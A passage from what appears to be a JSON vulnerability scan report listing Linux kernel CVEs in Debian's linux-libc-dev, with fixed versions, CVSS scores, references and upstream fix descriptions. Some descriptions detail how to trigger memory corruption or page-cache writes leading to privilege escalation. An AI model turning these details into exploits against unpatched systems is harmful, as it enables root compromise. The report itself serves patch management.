"redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/08/12", "https://access.redhat.com/errata/RHSA-2026:38491", "https://access.redhat.com/security/cve/CVE-2026-43499", "https://bugzilla.redhat.com/2432402", "https://bugzilla.redhat.com/2480453", "https://bugzilla.redhat.com/2481989", "https://bugzilla.redhat.com/2492269", "https://bugzilla.redhat.com/2492805", "https://bugzilla.redhat.com/show_bug.cgi?id=2432402", "https://bugzilla.redhat.com/show_bug.cgi?id=2480453", "https://bugzilla.redhat.com/show_bug.cgi?id=2481989", "https://bugzilla.redhat.com/show_bug.cgi?id=2492269", "https://bugzilla.redhat.com/show_bug.cgi?id=2492805", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53016", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53166", "https://errata.almalinux.org/9/ALSA-2026-38491.html", "https://errata.rockylinux.org/RLSA-2026:38491", "https://git.kernel.org/linus/3bfdc63936dd4773109b7b8c280c0f3b5ae7d349%20%287.1-rc1%29", "https://git.kernel.org/stable/c/3bfdc63936dd4773109b7b8c280c0f3b5ae7d349", "https://git.kernel.org/stable/c/3fb7394a837740770f0d6b4b30567e60786a63f2", "https://git.kernel.org/stable/c/6d52dfcb2a5db86e346cf51f8fcf2071b8085166", "https://git.kernel.org/stable/c/838ce5cb5d93c3ab8b27e75bc6ad905a94b752fd", "https://git.kernel.org/stable/c/88614876370aac8ad1050ad785a4c095ba17ac11", "https://git.kernel.org/stable/c/8a1fc8d698ac5e5916e3082a0f74450d71f9611f", "https://git.kernel.org/stable/c/d8cce4773c2b23d819baf5abedc62f7b430e8745", "https://git.kernel.org/stable/c/f3fa3424bceb128d2be4b3745506b22844b87db7", "https://linux.oracle.com/cve/CVE-2026-43499.html", "https://linux.oracle.com/errata/ELSA-2026-50388.html", "https://lore.kernel.org/linux-cve-announce/2026052158-CVE-2026-43499-1294@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43499", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8631-1", "https://ubuntu.com/security/notices/USN-8631-2", "https://ubuntu.com/security/notices/USN-8631-3", "https://ubuntu.com/security/notices/USN-8631-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8634-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8636-1", "https://ubuntu.com/security/notices/USN-8636-2", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://ubuntu.com/security/notices/USN-8662-1", "https://ubuntu.com/security/notices/USN-8662-2", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://www.cve.org/CVERecord?id=CVE-2026-43499" ], "PublishedDate": "2026-05-21T13:16:19.3Z", "LastModifiedDate": "2026-10-15T02:19:34.43Z" }, { "VulnerabilityID": "CVE-2026-43500", "VendorIDs": [ "DSA-6253-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43500", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:86f336ba21c4c06cb459f04639e1c5729f823d92d9179f30e4896558e55d76d7", "Title": "kernel: \"Dirty Frag\" RxRPC variant is a new universal Local Privilege Escalation (LPE) vulnerability in the Linux kernel", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: Also unshare DATA/RESPONSE packets when paged frags are present\n\nThe DATA-packet handler in rxrpc_input_call_event() and the RESPONSE\nhandler in rxrpc_verify_response() copy the skb to a linear one before\ncalling into the security ops only when skb_cloned() is true. An skb\nthat is not cloned but still carries externally-owned paged fragments\n(e.g. SKBFL_SHARED_FRAG set by splice() into a UDP socket via\n__ip_append_data, or a chained skb_has_frag_list()) falls through to\nthe in-place decryption path, which binds the frag pages directly into\nthe AEAD/skcipher SGL via skb_to_sgvec().\n\nExtend the gate to also unshare when skb_has_frag_list() or\nskb_has_shared_frag() is true. This catches the splice-loopback vector\nand other externally-shared frag sources while preserving the\nzero-copy fast path for skbs whose frags are kernel-private (e.g. NIC\npage_pool RX, GRO). The OOM/trace handling already in place is reused.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-123" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43500", "https://bugzilla.redhat.com/show_bug.cgi?id=2468273", "https://git.kernel.org/stable/c/3711382a77342a9a1c3d2e7330dcfc7ea927f568", "https://git.kernel.org/stable/c/3eae0f4f9f7206a4801efa5e0235c25bbd5a412c", "https://git.kernel.org/stable/c/7c504ffab3efce8f7e4f463b314ae31030bdf18b", "https://git.kernel.org/stable/c/aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71", "https://git.kernel.org/stable/c/d45179f8795222ce858770dc619abe51f9d24411", "https://github.com/V4bel/dirtyfrag", "https://linux.oracle.com/cve/CVE-2026-43500.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/", "https://lore.kernel.org/linux-cve-announce/2026051149-CVE-2026-43500-60d6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43500", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43500.json", "https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8370-1", "https://ubuntu.com/security/notices/USN-8371-1", "https://ubuntu.com/security/notices/USN-8373-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8388-1", "https://ubuntu.com/security/notices/USN-8388-2", "https://ubuntu.com/security/notices/USN-8389-1", "https://ubuntu.com/security/notices/USN-8391-1", "https://ubuntu.com/security/notices/USN-8392-1", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8616-1", "https://www.cve.org/CVERecord?id=CVE-2026-43500", "https://www.openwall.com/lists/oss-security/2026/05/07/8", "https://www.openwall.com/lists/oss-security/2026/05/08/8" ], "PublishedDate": "2026-05-11T08:16:16.077Z", "LastModifiedDate": "2026-08-24T13:18:47.007Z" }, { "VulnerabilityID": "CVE-2026-43501", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43501", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8bad8c9fe3fa7a62574a8b2513092037184f590031d0bdaecc90fc7e53acbb43", "Title": "kernel: ipv6: rpl: reserve mac_len headroom when recompressed SRH grows", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: rpl: reserve mac_len headroom when recompressed SRH grows\n\nipv6_rpl_srh_rcv() decompresses an RFC 6554 Source Routing Header, swaps\nthe next segment into ipv6_hdr-\u003edaddr, recompresses, then pulls the old\nheader and pushes the new one plus the IPv6 header back. The\nrecompressed header can be larger than the received one when the swap\nreduces the common-prefix length the segments share with daddr (CmprI=0,\nCmprE\u003e0, seg[0][0] != daddr[0] gives the maximum +8 bytes).\n\npskb_expand_head() was gated on segments_left == 0, so on earlier\nsegments the push consumed unchecked headroom. Once skb_push() leaves\nfewer than skb-\u003emac_len bytes in front of data,\nskb_mac_header_rebuild()'s call to:\n\n\tskb_set_mac_header(skb, -skb-\u003emac_len);\n\nwill store (data - head) - mac_len into the u16 mac_header field, which\nwraps to ~65530, and the following memmove() writes mac_len bytes ~64KiB\npast skb-\u003ehead.\n\nA single AF_INET6/SOCK_RAW/IPV6_HDRINCL packet over lo with a two\nsegment type-3 SRH (CmprI=0, CmprE=15) reaches headroom 8 after one\npass; KASAN reports a 14-byte OOB write in ipv6_rthdr_rcv.\n\nFix this by expanding the head whenever the remaining room is less than\nthe push size plus mac_len, and request that much extra so the rebuilt\nMAC header fits afterwards.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-131" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25191", "https://access.redhat.com/errata/RHSA-2026:25217", "https://access.redhat.com/errata/RHSA-2026:27713", "https://access.redhat.com/errata/RHSA-2026:27731", "https://access.redhat.com/errata/RHSA-2026:33900", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:34095", "https://access.redhat.com/security/cve/CVE-2026-43501", "https://bugzilla.redhat.com/2440630", "https://bugzilla.redhat.com/2457829", "https://bugzilla.redhat.com/2460641", "https://bugzilla.redhat.com/2461471", "https://bugzilla.redhat.com/2464351", "https://bugzilla.redhat.com/2464449", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467234", "https://bugzilla.redhat.com/2480457", "https://bugzilla.redhat.com/2482166", "https://bugzilla.redhat.com/2482532", "https://bugzilla.redhat.com/show_bug.cgi?id=2440630", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460641", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2480457", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-25217.html", "https://errata.rockylinux.org/RLSA-2026:25217", "https://git.kernel.org/linus/9e6bf146b55999a095bb14f73a843942456d1adc%20%287.1-rc2%29", "https://git.kernel.org/stable/c/0a9e8053f1f8a8e1bfc1dd61ffe67be6c1180402", "https://git.kernel.org/stable/c/4babc2d9fda2df43823b85d08a0180b68f1b0854", "https://git.kernel.org/stable/c/7398ebefbfd4f8a31d4f665a4213302fa995494b", "https://git.kernel.org/stable/c/8e8be63465a5e80394c70324603dfea1bfdad48f", "https://git.kernel.org/stable/c/9e6bf146b55999a095bb14f73a843942456d1adc", "https://git.kernel.org/stable/c/bde199c72d319a4e207f88daabc888317504e2fb", "https://git.kernel.org/stable/c/be1fa0aa9b4fdd5a8b7a61ba520a690a68391e6e", "https://git.kernel.org/stable/c/c261d07a80576dc8ccf394ef8f074f8c67a06b37", "https://linux.oracle.com/cve/CVE-2026-43501.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052159-CVE-2026-43501-63a6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43501", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43501.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43501" ], "PublishedDate": "2026-05-21T13:16:19.41Z", "LastModifiedDate": "2026-10-19T20:18:18.897Z" }, { "VulnerabilityID": "CVE-2026-43503", "VendorIDs": [ "DSA-6295-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.90-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43503", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3a91eba778f08b7227edd853fde8bb2fb1edb0d8edb5c55e73a53a044a8e60dc", "Title": "kernel: net: skbuff: propagate shared-frag marker through frag-transfer helpers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: propagate shared-frag marker through frag-transfer helpers\n\nTwo frag-transfer helpers (__pskb_copy_fclone() and skb_shift()) fail\nto propagate the SKBFL_SHARED_FRAG bit in skb_shinfo()-\u003eflags when\nmoving frags from source to destination. __pskb_copy_fclone() defers\nthe rest of the shinfo metadata to skb_copy_header() after copying\nfrag descriptors, but that helper only carries over gso_{size,segs,\ntype} and never touches skb_shinfo()-\u003eflags; skb_shift() moves frag\ndescriptors directly and leaves flags untouched. As a result, the\ndestination skb keeps a reference to the same externally-owned or\npage-cache-backed pages while reporting skb_has_shared_frag() as\nfalse.\n\nThe mismatch is harmful in any in-place writer that uses\nskb_has_shared_frag() to decide whether shared pages must be detoured\nthrough skb_cow_data(). ESP input is one such writer (esp4.c,\nesp6.c), and a single nft 'dup to \u003clocal\u003e' rule -- or any other\nnf_dup_ipv4() / xt_TEE caller -- is enough to land a pskb_copy()'d\nskb in esp_input() with the marker stripped, letting an unprivileged\nuser write into the page cache of a root-owned read-only file via\nauthencesn-ESN stray writes.\n\nSet SKBFL_SHARED_FRAG on the destination whenever frag descriptors\nwere actually moved from the source. skb_copy() and skb_copy_expand()\nshare skb_copy_header() too but linearize all paged data into freshly\nallocated head storage and emerge with nr_frags == 0, so\nskb_has_shared_frag() returns false on its own; they need no change.\n\nThe same omission exists in skb_gro_receive() and skb_gro_receive_list().\nThe former moves the incoming skb's frag descriptors into the\naccumulator's last sub-skb via two paths (a direct frag-move loop and\nthe head_frag + memcpy path); the latter chains the incoming skb whole\nonto p's frag_list. Downstream skb_segment() reads only\nskb_shinfo(p)-\u003eflags, and skb_segment_list() reuses each sub-skb's\nshinfo as the nskb -- both p and lp must carry the marker.\n\nThe same omission also exists in tcp_clone_payload(), which builds an\nMTU probe skb by moving frag descriptors from skbs on sk_write_queue\ninto a freshly allocated nskb. The helper falls into the same family\nand warrants the same fix for consistency; no TCP TX-side in-place\nwriter is currently known to reach a user page through this gap, but\na future consumer depending on the marker would regress silently.\n\nThe same omission exists in skb_segment(): the per-iteration flag\nmerge takes only head_skb's flag, and the inner switch that rebinds\nfrag_skb to list_skb on head_skb-frags exhaustion does not fold the\nnew frag_skb's flag into nskb. Fold frag_skb's flag at both sites\nso segments drawing frags from frag_list members carry the marker.", "Severity": "HIGH", "CweIDs": [ "CWE-691", "CWE-664" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19521", "https://access.redhat.com/errata/RHSA-2026:19540", "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/errata/RHSA-2026:19569", "https://access.redhat.com/errata/RHSA-2026:19664", "https://access.redhat.com/errata/RHSA-2026:19666", "https://access.redhat.com/errata/RHSA-2026:19705", "https://access.redhat.com/errata/RHSA-2026:19711", "https://access.redhat.com/errata/RHSA-2026:19875", "https://access.redhat.com/errata/RHSA-2026:20051", "https://access.redhat.com/errata/RHSA-2026:20054", "https://access.redhat.com/errata/RHSA-2026:20087", "https://access.redhat.com/errata/RHSA-2026:20129", "https://access.redhat.com/errata/RHSA-2026:20130", "https://access.redhat.com/errata/RHSA-2026:20299", "https://access.redhat.com/errata/RHSA-2026:20593", "https://access.redhat.com/errata/RHSA-2026:21656", "https://access.redhat.com/errata/RHSA-2026:21690", "https://access.redhat.com/errata/RHSA-2026:21695", "https://access.redhat.com/errata/RHSA-2026:21702", "https://access.redhat.com/errata/RHSA-2026:23233", "https://access.redhat.com/errata/RHSA-2026:23240", "https://access.redhat.com/errata/RHSA-2026:23245", "https://access.redhat.com/errata/RHSA-2026:23468", "https://access.redhat.com/errata/RHSA-2026:23469", "https://access.redhat.com/errata/RHSA-2026:23470", "https://access.redhat.com/errata/RHSA-2026:23471", "https://access.redhat.com/errata/RHSA-2026:24814", "https://access.redhat.com/errata/RHSA-2026:25044", "https://access.redhat.com/errata/RHSA-2026:33486", "https://access.redhat.com/security/cve/CVE-2026-43503", "https://bugzilla.redhat.com/2394648", "https://bugzilla.redhat.com/2425046", "https://bugzilla.redhat.com/2429602", "https://bugzilla.redhat.com/2432389", "https://bugzilla.redhat.com/2432400", "https://bugzilla.redhat.com/2439852", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2448745", "https://bugzilla.redhat.com/2453803", "https://bugzilla.redhat.com/2454844", "https://bugzilla.redhat.com/2461107", "https://bugzilla.redhat.com/2461521", "https://bugzilla.redhat.com/2467059", "https://bugzilla.redhat.com/2467144", "https://bugzilla.redhat.com/2467771", "https://bugzilla.redhat.com/2477015", "https://bugzilla.redhat.com/2477802", "https://bugzilla.redhat.com/show_bug.cgi?id=2480902", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://errata.almalinux.org/9/ALSA-2026-19568.html", "https://git.kernel.org/linus/48f6a5356a33dd78e7144ae1faef95ffc990aae0", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-43503.mbox", "https://git.kernel.org/stable/c/12401fcfb01f53ccc63ab0a3246570fe8f3105ee", "https://git.kernel.org/stable/c/179f1852bdedc300e373e807cc102cd81feff196", "https://git.kernel.org/stable/c/48f6a5356a33dd78e7144ae1faef95ffc990aae0", "https://git.kernel.org/stable/c/989214c66884d70716d83dc1d0bf5e16287bf349", "https://git.kernel.org/stable/c/9bc9d6d6967a2239aa57af2aa53554eddd640d20", "https://git.kernel.org/stable/c/fbeab9555564a1b98e8582cd106dfe46c4606991", "https://git.kernel.org/stable/c/fc6eb39c55e97df2f94ad974b8a5bbcd019da2c8", "https://git.kernel.org/stable/c/ff375cc75f9167168db38e0464a482d5fbc8d81d", "https://linux.oracle.com/cve/CVE-2026-43503.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-43503", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43503.json", "https://ubuntu.com/security/notices/USN-8370-1", "https://ubuntu.com/security/notices/USN-8371-1", "https://ubuntu.com/security/notices/USN-8373-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8388-1", "https://ubuntu.com/security/notices/USN-8388-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8501-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8529-1", "https://ubuntu.com/security/notices/USN-8529-2", "https://ubuntu.com/security/notices/USN-8530-1", "https://ubuntu.com/security/notices/USN-8530-2", "https://ubuntu.com/security/notices/USN-8548-1", "https://ubuntu.com/security/notices/USN-8548-2", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8615-1", "https://ubuntu.com/security/notices/USN-8615-2", "https://ubuntu.com/security/notices/USN-8616-1", "https://ubuntu.com/security/notices/USN-8617-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://www.cve.org/CVERecord?id=CVE-2026-43503" ], "PublishedDate": "2026-05-23T12:17:02.547Z", "LastModifiedDate": "2026-10-16T19:17:06.887Z" }, { "VulnerabilityID": "CVE-2026-45837", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45837", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:07c393115d0f64bc05ff4c5d119f9ec18fa9702229ce1a59a3cff6a40a99f255", "Title": "kernel: bpf: Fix use-after-free in arena_vm_close on fork", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix use-after-free in arena_vm_close on fork\n\narena_vm_open() only bumps vml-\u003emmap_count but never registers the\nchild VMA in arena-\u003evma_list. The vml-\u003evma always points at the\nparent VMA, so after parent munmap the pointer dangles. If the child\nthen calls bpf_arena_free_pages(), zap_pages() reads the stale\nvml-\u003evma triggering use-after-free.\n\nFix this by preventing the arena VMA from being inherited across\nfork with VM_DONTCOPY, and preventing VMA splits via the may_split\ncallback.\n\nAlso reject mremap with a .mremap callback returning -EINVAL. A\nsame-size mremap(MREMAP_FIXED) on the full arena VMA reaches\ncopy_vma() through the following path:\n\n check_prep_vma() - returns 0 early: new_len == old_len\n skips VM_DONTEXPAND check\n prep_move_vma() - vm_start == old_addr and\n vm_end == old_addr + old_len\n so may_split is never called\n move_vma()\n copy_vma_and_data()\n copy_vma()\n vm_area_dup() - copies vm_private_data (vml pointer)\n vm_ops-\u003eopen() - bumps vml-\u003emmap_count\n vm_ops-\u003emremap() - returns -EINVAL, rollback unmaps new VMA\n\nThe refcount ensures the rollback's arena_vm_close does not free\nthe vml shared with the original VMA.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45837", "https://git.kernel.org/linus/4fddde2a732de60bb97e3307d4eb69ac5f1d2b74%20%287.1-rc1%29", "https://git.kernel.org/stable/c/201128fcc7b213d27ab77bc4e89488b41796480f", "https://git.kernel.org/stable/c/4fddde2a732de60bb97e3307d4eb69ac5f1d2b74", "https://git.kernel.org/stable/c/723b9fa930cc277c15ce6b9ec9feec828cfac9d7", "https://git.kernel.org/stable/c/d18099f19e53250f8ad2801498b88cec29d9107a", "https://lore.kernel.org/linux-cve-announce/2026052708-CVE-2026-45837-c50b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45837", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", 